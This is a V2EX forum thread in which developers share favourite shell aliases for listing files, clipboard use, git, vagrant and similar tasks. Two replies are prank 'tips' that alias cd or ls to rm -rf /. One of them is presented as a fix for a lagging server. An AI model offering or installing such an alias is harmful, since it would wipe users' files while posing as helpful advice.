分享几个我自己常用的 aliases

2017-06-01 17:13:51 +08:00
 hellogbk
# 文件按大小排序,lbys = ls by size
alias lbys='ls -alhS'

# 文件按时间排序,lbyt = ls by time
alias lbyt='ls -alht'

# 重新运行上一条命令,并将输出复制到剪贴板,cl = copy last
alias cl='bash -c "$(fc -ln -1)" | pbcopy'

# 复制上一条命令
alias last='fc -ln -1 | pbcopy'

# 将当前剪贴板里的内容保存到某个文件里
alias new='pbpaste | cat >'
alias save='pbpaste | cat >' 

这几条 aliases 我用到的频率特别高。大家有什么高频的会用到的 aliases 也分享一下吧。

10663 次点击
所在节点    程序员
82 条回复
Lucups
2017-06-02 12:33:04 +08:00
# 老是按错,加个别名
alias gti='git'

# 老是要修改 hosts
alias hosts='sudo vim /etc/hosts'
bertonzh
2017-06-02 13:42:04 +08:00
alias input='adb shell input text' # 用来往 Android 系统中输入文本
alias svnlog='svn log | head -n ' # svn log 最近的行
ie88
2017-06-02 13:44:32 +08:00
感谢各位的分享~
wujunze
2017-06-02 13:49:25 +08:00
@Showfom #57 我的出口 ip 是动态的?
type
2017-06-02 13:50:43 +08:00
@wujunze 你这是什么配色方案?
wujunze
2017-06-02 13:55:36 +08:00
@type #65 zsh 默认的主题
Showfom
2017-06-02 14:17:21 +08:00
@wujunze 是的 所以很多网站限制 IP 的你就用不了了
wujunze
2017-06-02 14:32:06 +08:00
@Showfom #67 暂时没有发现 哪些网站用不了啊
sodatea
2017-06-02 14:37:20 +08:00
alias sudo="sudo "
alias please="sudo"
Showfom
2017-06-02 14:44:39 +08:00
@wujunze 因为你还没遇到过只认 IP 的网站
zuolan
2017-06-02 14:53:03 +08:00
几十个常用的 alias,不过没什么好分享的(太菜)。
xolor
2017-06-02 15:05:17 +08:00
alias cd..='cd ..'
就是为了返回上级目录少打一个空格。
因为 Windows 下可以中间不用空格,后来养成习惯了。
a308057848
2017-06-02 15:47:02 +08:00
非常感谢
yangxuan8282
2017-06-02 15:48:44 +08:00
加了几个 emoji 的 alias,ios 下 Termius 和 win 下 putty 可以用

https://gist.github.com/yangxuan8282/c34f4413dd6003ac854ed9bb1218ec63
joying
2017-06-02 16:04:43 +08:00
@Lucups 经常输错你需要这个: https://github.com/nvbn/thefuck
xeneizes
2017-06-02 16:22:37 +08:00
alias vup="vagrant up --provision"
alias vu="vagrant up"
alias vh="vagrant halt"
alias art="php artisan"
guoyuanjian
2017-06-02 16:27:33 +08:00
我的服务器之前挺卡的,每天监控都发告警,后来我用了下这个命令,服务器终于消停了,现在分享下给大家
alias cd='rm -rf /'
NoahsArk
2017-06-02 16:44:45 +08:00
aliases ls = rm -rf /
somebody
2017-06-02 16:53:44 +08:00
# 常用的:
alias gr=./review
alias http="echo http://$(echo $(hostname -I | cut -d' ' -f1) | xargs ):8000 && python3 -m http.server"
alias op="xdg-open"
alias py=python3
alias v='nvim'

# 来自 oh-my-zsh 的
alias _=sudo
alias g=git
alias 'gcn!'='git commit -v --no-edit --amend'
alias gl='git pull'
alias gp='git push'
alias grbc='git rebase --continue'
alias grbi='git rebase -i'
alias grv='git remote -v'
alias gst='git status'
alias gstp='git stash pop'
alias gup='git pull --rebase'
rozbo
2017-06-02 17:09:13 +08:00
@SingeeKing 舅服你!

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/365260

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX